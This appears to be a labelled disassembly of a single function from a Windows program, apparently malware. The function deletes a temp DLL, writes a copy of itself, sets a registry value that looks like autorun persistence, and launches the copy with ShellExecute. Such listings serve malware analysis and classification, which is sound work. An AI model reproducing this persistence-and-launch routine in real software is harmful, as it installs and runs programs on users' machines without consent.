Function at 0x402920
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 0x420], ax
push 0x206
push 0
lea ecx, [ebp - 0x41e]
push ecx
call fcn.00409230
add esp, 0xc
xor edx, edx
mov word [ebp - 0x630], dx
push 0x206
push 0
lea eax, [ebp - 0x62e]
push eax
call fcn.00409230
add esp, 0xc
push 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
call fcn.00409230
add esp, 0xc
lea edx, [ebp - 0x420]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
push 0x104
lea eax, [ebp - 0x420]
push eax
call fcn.00405715
add esp, 0xc
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00402fc0
mov dword [ebp - 4], eax
cmp dword [0x41a580], 1
jne 0x4029f4
cmp dword [ebp - 4], 0
jne 0x4029f4
xor eax, eax
jmp 0x402fa9
call fcn.004035e0
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x218], 0x504d534d
mov edx, 0x51
mov word [ebp - 0x194], dx
mov eax, 0x2b8e
mov word [ebp - 0xf2], ax
mov dword [ebp - 0x634], 0x415e18
lea ecx, [ebp - 0x172]
mov dword [ebp - 0x638], ecx
mov edx, dword [ebp - 0x638]
mov dword [ebp - 0x63c], edx
mov eax, dword [ebp - 0x634]
mov cx, word [eax]
mov word [ebp - 0x63e], cx
mov edx, dword [ebp - 0x638]
mov ax, word [ebp - 0x63e]
mov word [edx], ax
mov ecx, dword [ebp - 0x634]
add ecx, 2
mov dword [ebp - 0x634], ecx
mov edx, dword [ebp - 0x638]
add edx, 2
mov dword [ebp - 0x638], edx
cmp word [ebp - 0x63e], 0
jne 0x402a40
mov dword [ebp - 0x644], 0x415e38
lea eax, [ebp - 0x214]
mov dword [ebp - 0x648], eax
mov ecx, dword [ebp - 0x648]
mov dword [ebp - 0x64c], ecx
mov edx, dword [ebp - 0x644]
mov ax, word [edx]
mov word [ebp - 0x64e], ax
mov ecx, dword [ebp - 0x648]
mov dx, word [ebp - 0x64e]
mov word [ecx], dx
mov eax, dword [ebp - 0x644]
add eax, 2
mov dword [ebp - 0x644], eax
mov ecx, dword [ebp - 0x648]
add ecx, 2
mov dword [ebp - 0x648], ecx
cmp word [ebp - 0x64e], 0
jne 0x402aaa
mov dword [ebp - 0x654], 0x415e58
lea edx, [ebp - 0x192]
mov dword [ebp - 0x658], edx
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0x65c], eax
mov ecx, dword [ebp - 0x654]
mov dx, word [ecx]
mov word [ebp - 0x65e], dx
mov eax, dword [ebp - 0x658]
mov cx, word [ebp - 0x65e]
mov word [eax], cx
mov edx, dword [ebp - 0x654]
add edx, 2
mov dword [ebp - 0x654], edx
mov eax, dword [ebp - 0x658]
add eax, 2
mov dword [ebp - 0x658], eax
cmp word [ebp - 0x65e], 0
jne 0x402b14
mov dword [ebp - 0x50], 5
push 0x41a540
push 0x10
lea ecx, [ebp - 0x90]
push ecx
call fcn.00405792
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x402b85
cmp dword [ebp - 0xc], 0
je 0x402bf5
push 0x41a3b0
lea edx, [ebp - 0x192]
push edx
call fcn.004023a0
add esp, 8
push 0x41a430
lea eax, [ebp - 0x214]
push eax
call fcn.00402380
add esp, 8
push 0x41a4b8
lea ecx, [ebp - 0x172]
push ecx
call fcn.00402380
add esp, 8
mov dx, word [0x41a4b0]
mov word [ebp - 0x194], dx
mov ax, word [0x41a538]
mov word [ebp - 0xf2], ax
mov ecx, dword [0x41a53c]
mov dword [ebp - 0x50], ecx
cmp dword [0x41a53c], 0
jne 0x402bf5
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x664], 0x415e64
lea edx, [ebp - 0x172]
mov dword [ebp - 0x668], edx
mov eax, dword [ebp - 0x668]
mov cx, word [eax]
mov word [ebp - 0x66a], cx
mov edx, dword [ebp - 0x664]
cmp cx, word [edx]
jne 0x402c71
cmp word [ebp - 0x66a], 0
je 0x402c65
mov eax, dword [ebp - 0x668]
mov cx, word [eax + 2]
mov word [ebp - 0x66c], cx
mov edx, dword [ebp - 0x664]
cmp cx, word [edx + 2]
jne 0x402c71
add dword [ebp - 0x668], 4
add dword [ebp - 0x664], 4
cmp word [ebp - 0x66c], 0
jne 0x402c0b
mov dword [ebp - 0x670], 0
jmp 0x402c7c
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x670], eax
mov ecx, dword [ebp - 0x670]
mov dword [ebp - 0x674], ecx
cmp dword [ebp - 0x674], 0
je 0x402d02
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x678], 0x415e84
lea edx, [ebp - 0x172]
mov dword [ebp - 0x67c], edx
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x680], eax
mov ecx, dword [ebp - 0x678]
mov dx, word [ecx]
mov word [ebp - 0x682], dx
mov eax, dword [ebp - 0x67c]
mov cx, word [ebp - 0x682]
mov word [eax], cx
mov edx, dword [ebp - 0x678]
add edx, 2
mov dword [ebp - 0x678], edx
mov eax, dword [ebp - 0x67c]
add eax, 2
mov dword [ebp - 0x67c], eax
cmp word [ebp - 0x682], 0
jne 0x402cba
movzx ecx, word [ebp - 0x214]
test ecx, ecx
je 0x402d18
movzx edx, word [ebp - 0x194]
test edx, edx
jg 0x402d22
jmp 0x402f9f
mov dword [ebp - 0x218], 0x504d534d
mov dword [ebp - 0x688], 0x41a540
mov eax, dword [ebp - 0x688]
add eax, 2
mov dword [ebp - 0x68c], eax
mov ecx, dword [ebp - 0x688]
mov dx, word [ecx]
mov word [ebp - 0x68e], dx
add dword [ebp - 0x688], 2
cmp word [ebp - 0x68e], 0
jne 0x402d45
mov eax, dword [ebp - 0x688]
sub eax, dword [ebp - 0x68c]
sar eax, 1
mov dword [ebp - 0x694], eax
je 0x402da8
push 0x41a540
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402da8
push 0x41a540
push 0x10
lea ecx, [ebp - 0x90]
push ecx
call fcn.00405792
add esp, 0xc
movzx edx, word [ebp - 0x90]
test edx, edx
jne 0x402dc7
push str.jiokf
lea eax, [ebp - 0x90]
push eax
call fcn.004023a0
add esp, 8
movzx ecx, word [ebp - 0x70]
test ecx, ecx
jne 0x402e41
push str.huter
lea edx, [ebp - 0x70]
push edx
call fcn.004023a0
add esp, 8
mov dword [ebp - 0x698], 0x41a560
mov eax, dword [ebp - 0x698]
add eax, 2
mov dword [ebp - 0x69c], eax
mov ecx, dword [ebp - 0x698]
mov dx, word [ecx]
mov word [ebp - 0x69e], dx
add dword [ebp - 0x698], 2
cmp word [ebp - 0x69e], 0
jne 0x402df9
mov eax, dword [ebp - 0x698]
sub eax, dword [ebp - 0x69c]
sar eax, 1
mov dword [ebp - 0x6a4], eax
je 0x402e41
push 0x41a560
lea ecx, [ebp - 0x70]
push ecx
call fcn.004023a0
add esp, 8
mov edx, dword [0x419094]
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x50], 0
jne 0x402e57
mov dword [ebp - 0x50], 5
lea eax, [ebp - 0x218]
push eax
call fcn.00402780
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x402e79
jmp 0x402f9f
lea edi, [ebp - 0x420]
lea esi, [ebp - 0x70]
call fcn.004038e0
push 0x104
lea ecx, [ebp - 0x630]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x64
div ecx
mov dword [ebp - 8], edx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x630]
call fcn.00403fc0
add esp, 8
mov dword [ebp - 0x424], 0
lea ecx, [ebp - 0x424]
push ecx
push 3
push 0
push 0x415ec0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402f85
lea edx, [ebp - 0x420]
mov dword [ebp - 0x6a8], edx
mov eax, dword [ebp - 0x6a8]
add eax, 2
mov dword [ebp - 0x6ac], eax
mov ecx, dword [ebp - 0x6a8]
mov dx, word [ecx]
mov word [ebp - 0x6ae], dx
add dword [ebp - 0x6a8], 2
cmp word [ebp - 0x6ae], 0
jne 0x402f17
mov eax, dword [ebp - 0x6a8]
sub eax, dword [ebp - 0x6ac]
sar eax, 1
mov dword [ebp - 0x6b4], eax
mov ecx, dword [ebp - 0x6b4]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push 0x415f2c
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402f85
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x415ebc
lea eax, [ebp - 0x420]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret